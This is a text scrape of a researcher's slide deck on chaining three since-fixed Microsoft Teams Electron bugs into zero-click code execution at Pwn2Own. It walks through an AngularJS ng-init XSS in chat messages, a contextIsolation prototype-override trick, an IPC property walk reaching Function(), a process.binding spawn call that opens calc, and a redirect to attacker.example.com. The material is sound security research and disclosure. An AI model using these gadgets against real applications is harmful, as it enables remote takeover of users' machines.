--- type: Slides title: How I Hacked Microsoft Teams and got $150,000 in Pwn2Own description: "Three Microsoft Teams (Electron 1.x) bugs chained into zero-click remote code execution: a wildcard-allowed CSS class smuggles an AngularJS ng-init expression into a chat message for XSS, the main window's missing contextIsolation hands over a reference to ipcRenderer, and the unsandboxed PluginHost's unchecked remote-object property walk reaches Function() to run OS commands on the victim's machine." resource: "https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own" tags: [slides, webseclist-reference, en, speaker-deck, xss, csti, sanitizer-bypass, sandbox-escape, rce, gadget-chain, electron, angular, javascript, attack-chain, owasp-a03-2021, owasp-a05-2021, owasp-a08-2021] generated: by: webseclist-refs/1 at: "2026-08-10T16:00:50+00:00" status: stable stale_after: 2027-08-10 sources: - id: original resource: "https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own" title: How I Hacked Microsoft Teams and got $150,000 in Pwn2Own author: "@kinugawamasato, Masato Kinugawa" last_modified: 2023-07-31 also_at: [] authors: - "@kinugawamasato" - Masato Kinugawa canonical_url: "" cited_by: - "2023.md:11" commit: "" content_sha256: 698732b0922f0d80be9ee33a0e3e70724146d31985da0dd5769c35f3f5f26bd3 depth: full depth_reason: default kind: slides language: en licence: unknown original_url: "https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own" published: 2023-07-31 publisher: Speaker Deck publisher_english: "" raw_sha256: f2cb04b95552685232025871dccc30a36b0af28104ea248c5ab3651591ca8f67 retrieved_from: "https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own" retrieved_kind: live retrieved_utc: "2026-08-10T16:00:50+00:00" slug: 2023-speaker-deck-how-i-hacked-microsoft-teams-got-150-000-pwn2own snapshot: "" title_english: "" translation_file: "" translation_of: "" --- # How I Hacked Microsoft Teams and got $150,000 in Pwn2Own **How I Hacked Microsoft Teams and got $150,000 in Pwn2Own** - @kinugawamasato, Masato Kinugawa, Speaker Deck. - Published: 2023-07-31 - Original: - Preserved from: https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own (live) on 2026-08-10 - Licence: unknown Rights remain with the original author and publisher. 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How I Hacked Microsoft Teams and got $150,000 in Pwn2Own - Speaker Deck # How I Hacked Microsoft Teams and got $150,000 in Pwn2Own English version of my presentation at Shibuya.XSS techtalk #12. 日本語版はこちら: [https://speakerdeck.com/masatokinugawa/shibuya-dot-xss-techtalk-number-12](https://speakerdeck.com/masatokinugawa/shibuya-dot-xss-techtalk-number-12) ![Avatar for Masato Kinugawa](https://secure.gravatar.com/avatar/1a5bce24526a7d6f1ab89678df2d673c?s=128) ## [Masato Kinugawa](https://speakerdeck.com/masatokinugawa) July 31, 2023 ## More Decks by Masato Kinugawa [ See All by Masato Kinugawa ](https://speakerdeck.com/masatokinugawa) [Shadow DOMとセキュリティ - 光と影の境界を探る / Shibuya.XSS techtalk #13](https://speakerdeck.com/masatokinugawa/shibuya-dot-xss-techtalk-number-13) [ ![Avatar for Masato Kinugawa](https://secure.gravatar.com/avatar/1a5bce24526a7d6f1ab89678df2d673c?s=24) masatokinugawa ](https://speakerdeck.com/masatokinugawa) 0 890 [Shadow DOM & Security - Exploring the boundary between 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Lack of Context Isolation in](https://files.speakerdeck.com/presentations/822da490117b42cd8a19bc8e2588305e/slide_6.jpg) main window 2. XSS via chat message 3. JS execution via PluginHost outside sandbox ➡ I achieved RCE by combining these bugs - ### [Bug #1 1. Lack of Context Isolation in main window](https://files.speakerdeck.com/presentations/822da490117b42cd8a19bc8e2588305e/slide_7.jpg) 2. XSS via chat message 3. JS execution via PluginHost outside sandbox - ### [Electron? • Framework for creating desktop applications with HTML, CSS](https://files.speakerdeck.com/presentations/822da490117b42cd8a19bc8e2588305e/slide_8.jpg) and JavaScript (Node.js) • Developed by GitHub • Examples of Electron app • Visual Studio Code • Discord • Slack • GitHub Desktop • Figma - ### [Electron basics const {BrowserWindow,app} = require('electron'); app.on('ready', function() { let](https://files.speakerdeck.com/presentations/822da490117b42cd8a19bc8e2588305e/slide_9.jpg) win = new BrowserWindow(); //Open Renderer Process win.loadURL(`file://${__dirname}/index.html`); });

Hello Electron!

Main process Renderer process main.js: index.html: • Electron has two types of processes • Browser part: Chromium - ### [The first part to check const {BrowserWindow,app} = require('electron'); app.on('ready',](https://files.speakerdeck.com/presentations/822da490117b42cd8a19bc8e2588305e/slide_10.jpg) function() { let win = new BrowserWindow(); //Open Renderer Process win.loadURL(`file://${__dirname}/index.html`); });

Hello Electron!

Main process Renderer process main.js: I always check this index.html: - ### [BrowserWindow • API for creating browser window • Focus on](https://files.speakerdeck.com/presentations/822da490117b42cd8a19bc8e2588305e/slide_11.jpg) options for this API • depending on the options, determine how RCE can be caused new BrowserWindow({ webPreferences: { nodeIntegration: false, contextIsolation: false, sandbox: true [...] } }); Important options： - ### [nodeIntegration • Whether Node APIs (and Electorn's renderer process modules)](https://files.speakerdeck.com/presentations/822da490117b42cd8a19bc8e2588305e/slide_12.jpg) are enabled on web page • If "true" and arbitrary JS exec is possible, RCE is possible just using require(): require('child_process').exec('calc'); false is used - ### [contextIsolation • Whether to separate the JS context between the](https://files.speakerdeck.com/presentations/822da490117b42cd8a19bc8e2588305e/slide_13.jpg) web page and part that allows node APIs • Part that allows node APIs: • Electron internal JS code • Preload scripts What happens if "false"? ➡ false is used - ### [If contextIsolation:fase • When arbitrary JS exec is possible, Node](https://files.speakerdeck.com/presentations/822da490117b42cd8a19bc8e2588305e/slide_14.jpg) API can be accessed, e.g. via overridden prototype (even if nodeIntegration:false) //Web page Function.prototype.call = function(arg) { arg.someDangerousNodeJSFunction(); } // Preload script or Electron internal code function someFunc(handler) { handler.call(objectContainingNodeJSFeature); } - ### [If contextIsolation:false //Web page Function.prototype.call = function(arg) { arg.someDangerousNodeJSFunction(); }](https://files.speakerdeck.com/presentations/822da490117b42cd8a19bc8e2588305e/slide_15.jpg) // Preload script or Electron internal code function someFunc(handler) { handler.call(objectContainingNodeJSFeature);//called } • When arbitrary JS exec is possible, Node API can be accessed, e.g. via overridden prototype (even if nodeIntegration:false) - ### [If contextIsolation:true • The overridden prototype does not affect JavaScript](https://files.speakerdeck.com/presentations/822da490117b42cd8a19bc8e2588305e/slide_16.jpg) on different context and RCE through this trick is prevented //Web page Function.prototype.call = function(arg) { arg.someDangerousNodeJSFunction(); } // Preload script or Electron internal code function someFunc(handler) { handler.call(objectContainingNodeJSFeature);//called } Built-in Function.prototype.call is called - ### [sandbox • Whether to use Chromium's sandbox • false is](https://files.speakerdeck.com/presentations/822da490117b42cd8a19bc8e2588305e/slide_17.jpg) the same as running Chrome with --no-sandbox flag • If false, it makes RCE easier via bugs such as memory corruption • In addition, if true, some APIs become unavailable in a context where the Node APIs are available , e.g: • APIs executing OS command/program (e.g. shell.openExternal) • APIs accessing clipboard without confirmation (clipboard module) • APIs accessing local files true is used - ### [What can be said from used options new BrowserWindow({ webPreferences:](https://files.speakerdeck.com/presentations/822da490117b42cd8a19bc8e2588305e/slide_18.jpg) { nodeIntegration: false, contextIsolation: false, sandbox: true } }); ➡ When arbitrary JS exec is possible, due to sandbox, JS can't access Node APIs which lead to RCE directly but due to the lack of context isolation, other Node APIs may be accessible. - ### [Trying to access interesting Node APIs • When I'm trying](https://files.speakerdeck.com/presentations/822da490117b42cd8a19bc8e2588305e/slide_19.jpg) to get an interesting reference to exploitable Node API by overriding prototype of various built-in methods... • ipcRenderer module's reference came from overridden Function.prototype.call - ### [ipcRenderer module const { ipcMain } = require('electron'); [...] ipcMain.handle('test',](https://files.speakerdeck.com/presentations/822da490117b42cd8a19bc8e2588305e/slide_20.jpg) (evt, msg) => { console.log(msg);//hello return 'hey'; });

Hello Electron!

Main process main.js: index.html: It is used to communicate between renderer and main process const { ipcRenderer } = require('electron'); ipcRenderer.invoke('test','hello'); .then(msg=>{ console.log(msg);//hey }); preload.js: ➡Main process has full access to Node APIs, so it may lead to RCE if there is an IPC listener which doesn't have proper validation Renderer process - ### [Given the fact so far 1 Find a way to](https://files.speakerdeck.com/presentations/822da490117b42cd8a19bc8e2588305e/slide_21.jpg) exec arbitrary JS, e.g.: • XSS • Redirect to arbitrary site 2 Find a part that leads to RCE, e.g.: • Find IPC listener which leads to RCE through ipcRenderer module retrieved from 1's js exec • Find exposed API which leads to RCE directly even if sandbox:true (In other words, find Electron 0-day) Now, I know the main window does not have contextIsolation and I can get ipcRenderer reference. The next thing to do is: - ### [Bug #2 1. Lack of Context Isolation in main window](https://files.speakerdeck.com/presentations/822da490117b42cd8a19bc8e2588305e/slide_22.jpg) 2. XSS via chat message 3. JS execution via PluginHost outside sandbox - ### [Ideas to execute arbitrary JS • XSS • Redirect to](https://files.speakerdeck.com/presentations/822da490117b42cd8a19bc8e2588305e/slide_23.jpg) arbitrary site • The origin where the JS is executed is not important here • Because it allows interfering the part that uses Node APIs and achieving RCE if even arbitrary JS can be executed • In addition, according to the rules of Pwn2Own, it is necessary to achieve RCE without user interaction I decided to take a closer look at chat messages ➡ - ### [Checking HTML sanitizer • The chat allows users to use](https://files.speakerdeck.com/presentations/822da490117b42cd8a19bc8e2588305e/slide_24.jpg) some HTML/CSS • It displays HTML after sanitizing both on server and client-side ➡ The sever-side sanitization is black-box, so I decided to check the client-side and try to guess the behavior - ### [Sanitization in client-side • sanitize-html library is used https://github.com/apostrophecms/sanitize-html •](https://files.speakerdeck.com/presentations/822da490117b42cd8a19bc8e2588305e/slide_25.jpg) Examples of what is sanitized: • HTML elements/attributes allowing script exec(XSS) • CSS allowing breaking layouts Unexpectedly, checking sanitization around CSS here led to the discovery of XSS...➡ - ### [Sanitization for class attr • I found class attr's allow-list-ish](https://files.speakerdeck.com/presentations/822da490117b42cd8a19bc8e2588305e/slide_26.jpg) string in client-side JS code: e.htmlClasses = "swift-*,ts-image*, emojione,emoticon-*,animated-emoticon-*, copy-paste-table,hljs*,language-*,zoetrope, me-email-*,quoted-reply-color-*" • Actually, these classes were not removed by server/client-side sanitization • Looks like the asterisk part works as a wildcard - ### [Behavior of wildcard (swift-*) • Looks like anything except class](https://files.speakerdeck.com/presentations/822da490117b42cd8a19bc8e2588305e/slide_27.jpg) attr's separator (e.g. 0x20) is included there test test But...due to a certain JS resource, it leads to JS exec?! ➡ It's okay because arbitrary class name is not added? - ### [A certain JS resource = AngularJS • Teams used AngularJS](https://files.speakerdeck.com/presentations/822da490117b42cd8a19bc8e2588305e/slide_28.jpg) as a client-side Framework in some pages • The chat message part is one of them • These days it seems to be gradually being replaced by React Speaking of AngularJS... ➡ - ### [XSSer ♥ AngularJS • AngularJS is very useful library for](https://files.speakerdeck.com/presentations/822da490117b42cd8a19bc8e2588305e/slide_29.jpg) XSSer • Without using HTML tags, XSS is allowed via {{}} templates: • It introduces CSP bypass even if unsafe-eval is not set:
{{constructor.constructor('alert(1)')()}}
- ### [XSS found in the past • Actually, XSS via AngularJS](https://files.speakerdeck.com/presentations/822da490117b42cd8a19bc8e2588305e/slide_30.jpg) in MS Teams was found by security researchers in the past • It occurred due to a template string filter bypass by inserting a null char between {{}} {{3*333}\u0000} Details: https://github.com/oskarsve/ms-teams-rce The fact that this XSS occurs on single-page app is that probably Teams dynamically compiles user-input as AngularJS HTML (like inside ng-app attr)? I thought AngularJS XSS might still occur in other ways. When trying to find interesting features through AngularJS official doc, found this ...➡ - ### [ngInit directive (1/2) • It is used for init process](https://files.speakerdeck.com/presentations/822da490117b42cd8a19bc8e2588305e/slide_31.jpg) before executing {{}} template • "Hello World!" is displayed from this: {{greeting}} {{person}}! This attr's value is evaluated as AngularJS expression, so JS works via: ng-init attribute is of course sanitized. But...➡ - ### [ngInit directive (2/2) • ngInit can be used via class](https://files.speakerdeck.com/presentations/822da490117b42cd8a19bc8e2588305e/slide_32.jpg) attr also • The following are the same:
aaa
... ... Official doc: https://docs.angularjs.org/api/ng/directive/ngInit The following code is also interpreted as AngularJS expression: ➡ JS exec via class attribute!! * ng-class, ng-style, etc. also can be used in the same way - ### [How class directive is retrieved aaa aaa aaa aaa CLASS_DIRECTIVE_REGEXP = /(([\w-]+)(?::([^;]+))?;?)/, Retrieved by this regex： The following all classes work as ng-init directive: https://github.com/angular/angular.js/blob/47bf11ee94664367a26ed8c91b9b586d3dd420f5/src/ng/compile.js#L1384 If the swift-* wildcard's behavior is combined ... ➡ - ### [XSS! alert() is executed when I sent next HTML as](https://files.speakerdeck.com/presentations/822da490117b42cd8a19bc8e2588305e/slide_34.jpg) a chat message: aaa * The reason I used a slightly strange call here instead of "constructor" which I shown in other slides is that there is a sandbox that prevents arbitrary JS exec depending on the version of AngularJS (All versions have known bypasses though). Here, direct use of "constructor" was not allowed. Reference: AngularJS sandbox bypasses list by Gareth Heyes https://portswigger.net/research/xss-without-html-client-side-template-injection-with-angularjs Yay! But the goal is RCE. It still continues! ➡ - ### [What I was able to do so far • Found](https://files.speakerdeck.com/presentations/822da490117b42cd8a19bc8e2588305e/slide_35.jpg) a way to arbitrary JS execution • Found a way to get reference to IPCRenderer module by abusing the lack of context isolation So, the last step is to find IPC listener which does not perform input-validation correctly. When trying to find it, I noticed an interesting renderer called PluginHost...➡ - ### [Bug #3 1. Lack of Context Isolation in main window](https://files.speakerdeck.com/presentations/822da490117b42cd8a19bc8e2588305e/slide_36.jpg) 2. XSS via chat message 3. JS execution via PluginHost outside sandbox - ### [PluginHost • Invisible renderer called PluginHost exists • Apparently a](https://files.speakerdeck.com/presentations/822da490117b42cd8a19bc8e2588305e/slide_37.jpg) node module called "slimcore" loaded here is being operated from the main window via IPC • Here, sandbox: false • Maybe slimcore doesn't work when sandbox:true, so this renderer exists? "C:\Users\USER\AppData\Local\Microsoft\Teams\current\Teams.ex e" --type=renderer [...] --app- path="C:\Users\USER\AppData\Local\Microsoft\Teams\current\res ources\app.asar" --no-sandbox [...] /prefetch:1 --msteams- process-type=pluginHost - ### [How slimcore is executed • Set IPC listeners in PluginHost's](https://files.speakerdeck.com/presentations/822da490117b42cd8a19bc8e2588305e/slide_38.jpg) preload script and execute through messages sent from main window • Main window can send message with API named sendToRendererSync which exists in the object retrieved through bug #1 • btw, this API does not exists in Electron's original ipcRenderer module, so maybe MS extended? ELECTRON_REMOTE_SERVER_REQUIRE ELECTRON_REMOTE_SERVER_MEMBER_GET ELECTRON_REMOTE_SERVER_FUNCTION_CALL There are IPC listeners named like: - ### [What the IPC listeners do • ELECTRON_REMOTE_SERVER_REQUIRE • Call require()](https://files.speakerdeck.com/presentations/822da490117b42cd8a19bc8e2588305e/slide_39.jpg) with string specified in message • However, validation allows only allow-listed modules such as "slimcore" • ELECTRON_REMOTE_SERVER_MEMBER_GET • Perform property access using string specified in message • ELECTRON_REMOTE_SERVER_FUNCTION_CALL • Perform function call with string specified in message • (listeners for SET or other operations also exist) - ### [It's called like this: require('slimcore').func('arg'); 1. Send ELECTRON_REMOTE_SERVER_REQUIRE 3. Send](https://files.speakerdeck.com/presentations/822da490117b42cd8a19bc8e2588305e/slide_40.jpg) ELECTRON_REMOTE_SERVER_FUNCTION_CALL 2. Send ELECTRON_REMOTE_SERVER_MEMBER_GET Hm, I can smell something... ➡ - ### [Focus on MEMBER_GET's property access ELECTRON_REMOTE_SERVER_MEMBER_GET's code： P(c.remoteServerMemberGet, (e,t,n,o)=>{ const](https://files.speakerdeck.com/presentations/822da490117b42cd8a19bc8e2588305e/slide_41.jpg) i = s.objectsRegistry.get(n); if (null == i) throw new Error(`Cannot get property '${o}' on missing remote object ${n}`); return A(e, t, ()=>i[o]) } ) variable i: acccess-target's object variable o: accessed property This property access is done without any check such as hasOwnProperty(). This means... ➡ - ### [Object.prototype.* access is allowed require('slimcore').toString.constructor('js-code')(); 1. REQUIRE 4. FUNCTION_CALL 2.](https://files.speakerdeck.com/presentations/822da490117b42cd8a19bc8e2588305e/slide_42.jpg) MEMBER_GET 3. MEMBER_GET 5. FUNCTION_CALL This allowed accessing Function() via constructor property and executing arbitrary JS! - ### [What can I do with this JS exec? • The](https://files.speakerdeck.com/presentations/822da490117b42cd8a19bc8e2588305e/slide_43.jpg) code is evaluated in the preload script's context • That means... it has access to Node API! • Additonally, sandbox:false, so no API restriction! The way to perform RCE in this context ➡ - ### [process.binding • Something like require() used in Node.js internal •](https://files.speakerdeck.com/presentations/822da490117b42cd8a19bc8e2588305e/slide_44.jpg) Only available when sandbox: false • In the child_process module, binding('spawn_sync') is used and by following the call here, command exec is possible: a = { "type": "pipe", "readable": 1, "writable": 1 }; b = { "file": "cmd", "args": ["/k", "start", "calc"], "stdio": [a, a] }; process.binding("spawn_sync").spawn(b); I learned this from Math.js RCE by @CapacitorSet & @denysvitali：https://jwlss.pw/mathjs/ - ### [FYI：Can I use require()? require('slimcore') .toString.constructor("require('child_process')...")(); Why don't use require('child_process')](https://files.speakerdeck.com/presentations/822da490117b42cd8a19bc8e2588305e/slide_45.jpg) directly? This does not work. Why? ➡ - ### [Why require does not work Because Function() creates a function](https://files.speakerdeck.com/presentations/822da490117b42cd8a19bc8e2588305e/slide_46.jpg) executed within global scope 1: function (exports, require, module, __filename, __dirname) { console.log(`1: ${arguments.callee.toString()}`); console.log(`2: ${eval('typeof require')}`); console.log(`3: ${constructor.constructor('typeof require')()}`); } 2: function 3: undefined console.log(`1: ${arguments.callee.toString()}`); console.log(`2: ${eval('typeof require')}`); console.log(`3: ${constructor.constructor('typeof require')()}`); ➡ Load as preload script Exists in function scope - ### [Another way to exec command • Looks like other Pwn2Own](https://files.speakerdeck.com/presentations/822da490117b42cd8a19bc8e2588305e/slide_47.jpg) participants (@adm1nkyj1 & @jinmo123) also noticed the way to exec command via IPC • However, the last step to achive RCE is a bit different. They used eval call existing in preload scripts and called require('child_process'): Details: https://blog.pksecurity.io/2023/01/16/2022-microsoft-teams-rce.html#2- pluginhost-allows-dangerous-rpc-calls-from-any-webview function loadSlimCore(slimcoreLibPath) { let slimcore; if (utility.isWebpackRuntime()) { const slimcoreLibPathWebpack = slimcoreLibPath.replace(/\\/g, "\\\\"); slimcore = eval(`require('${slimcoreLibPathWebpack}')`); [...] } [...] } Rewrite String.prototype.replace and change return value Arbitrary string is passed here (This is direct eval call, so it is executed within this function scope and require() access is allowed) - ### [all bugs aligned! 1. Lack of Context Isolation in main](https://files.speakerdeck.com/presentations/822da490117b42cd8a19bc8e2588305e/slide_48.jpg) window 2. XSS via chat message 3. JS execution via PluginHost outside sandbox Let's launch calc！ ➡ - ### [Steps to reproduce 1. Attacker creates a page containing the](https://files.speakerdeck.com/presentations/822da490117b42cd8a19bc8e2588305e/slide_49.jpg) following code JS code to send IPC follows on the next page...... require('slimcore').toString.constructor('js-code')(); 1. REQUIRE 4. FUNCTION_CALL 2. MEMBER_GET 3. MEMBER_GET 5. FUNCTION_CALL Above code is for sending IPC to execute the following JS on PluginHost: - ### [Steps to reproduce 2. Send the following HTML as a](https://files.speakerdeck.com/presentations/822da490117b42cd8a19bc8e2588305e/slide_51.jpg) chat message aaa - ### [Steps to reproduce The final code executed by eval is](https://files.speakerdeck.com/presentations/822da490117b42cd8a19bc8e2588305e/slide_52.jpg) the following. It just navigates to attacker's site: setTimeout(function(){ location.replace('//attacker.example.com/poc.html'); },10000); Page created at step 1 (* No need to use setTimeout. I used it for clarity of demo.) - ### [Steps to reproduce 3. Victim opens the message (XSS is](https://files.speakerdeck.com/presentations/822da490117b42cd8a19bc8e2588305e/slide_53.jpg) triggered) - ### [Steps to reproduce After a while, a navigation to the](https://files.speakerdeck.com/presentations/822da490117b42cd8a19bc8e2588305e/slide_54.jpg) crafted page happens (https://attacker.example.com/poc.html) - ### [Steps to reproduce Suddenly calc is executed!!! (https://attacker.example.com/poc.html) DEMO: https://youtu.be/TMh_WbF9VnM](https://files.speakerdeck.com/presentations/822da490117b42cd8a19bc8e2588305e/slide_55.jpg) - ### [All bugs were fixed • contextIsolation: Enabled in main window](https://files.speakerdeck.com/presentations/822da490117b42cd8a19bc8e2588305e/slide_56.jpg) now • XSS: Allowed only limited characters in the wildcard part • PluginHost: Applied web page's CSP to preload scripts • For this, contextIsolation on PluginHost was disabled. By doing so, looks like web page's CSP is applied to preload scripts and eval is disabled. hmm.. • btw, apparently latest Electron(tested on v25+) does not allow "eval" in preload scripts (Teams doesn't use the latest though) • "Uncaught EvalError: Code generation from strings disallowed for this context" - ### [That's all • Next, your turn!](https://files.speakerdeck.com/presentations/822da490117b42cd8a19bc8e2588305e/slide_57.jpg) - ### [Thanks!! @kinugawamasato](https://files.speakerdeck.com/presentations/822da490117b42cd8a19bc8e2588305e/slide_58.jpg)